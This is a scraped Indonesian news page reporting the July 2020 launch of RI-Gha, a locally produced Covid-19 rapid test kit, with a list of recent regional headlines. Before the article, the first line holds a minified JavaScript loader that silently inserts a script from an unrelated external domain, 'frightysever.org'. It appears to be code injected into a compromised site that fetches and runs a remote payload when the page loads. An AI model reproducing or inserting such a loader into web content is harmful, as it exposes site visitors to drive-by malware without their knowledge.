(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Pemerintah Luncurkan Rapid Test Produksi Dalam Negeri, Dibuat Hanya 2 Bulan


KANALKALIMANTAN.COM, JAKARTA – Pemerintah meluncurkan rapid test Covid-19 kit buatan dalam negeri. Produk yang dinamai RI-Gha Covid-19 itu disebut diproduksi hanya dalam waktu dua bulan.

Peluncuran alat tes Covid-19 tersebut digelar di Kantor Kementerian Koordinator bidang Pembangunan Manusia dan Kebudayaan (Kemenko PMK) pada Kamis (9/7/2020).

Menko PMK Muhadjir Effendy mengatakan, pembuatan rapid test dalam negeri merupakan inisiatif dari Kementerian Riset dan Teknologi/Badan Riset Nasional (Kemenristek/BRIN) dan Badan Pengkajian dan Penerapan Teknologi (BPPT) karena melihat kebutuhan lapangan akan ketersediaan rapid test yang mendesak.

“Saya menyambut baik inisiatif dari pak Menristek yang telah dengan sangat agresif dan penuh antusias untuk merespon kebutuhan lapangan yang sangat mendesak dengan skala yang sangat besar,” kata Muhadjir di kantornya, Jalan Medan Merdeka Barat, Jakarta Pusat, Kamis (7/9/2020).

Sementara itu, Menristek Bambang PS Brodjonegoro menjelaskan, rapid test tersebut diproduksi hanya dalam waktu dua bulan. RI-Gha Covid-19 itu diklaim bisa cepat mendeteksi karena hasilnya muncul dalam waktu 15 menit.

 

Produk rapid test tersebut juga sudah melalui uji validasi skala lab dengan hasil nilai sensitifitas untuk IGM-nya 96,8 persen dan IGG-nya 74 persen melalui pengujian pada 40 serum pasien yang positif dari Balitbangkes. “Artinya yang dilakukan dengan artificial,” ujarnya.

Bambang menuturkan rapid test RI-Gha Covid-19 sudah digunakan dalam jumlah ribuan di Yogyakarta, Solo, Semarang dan Surabaya. Uji lapangan juga sempat dilakukan untuk 6.000 kit di beberapa puskesmas, salah satunya di Kabupaten Sleman.(suara)

 

Reporter : Suara
Editor : Suara

Desy Arfianty

Recent Posts

Dua Raperda Disahkan, Ketua DPRD: Payung Hukum yang Jelas Bagi Cagar Budaya di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More

50 menit ago

Ibu Ruli Terima Kursi Roda Bantuan Polsek Banjarbaru Utara

KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More

3 jam ago

Ini Alasan Pemko Banjarbaru Larang Peternakan Babi Ada di Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More

5 jam ago

Habisi Nyawa Sesama Sopir di Banjarmasin, ARM Ditangkap di Kandangan

KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More

6 jam ago

Peternak Babi di Pandarapan Keberatan Batas Waktu Tiga Bulan Bongkar Kandang

KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More

6 jam ago

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

20 jam ago

This website uses cookies.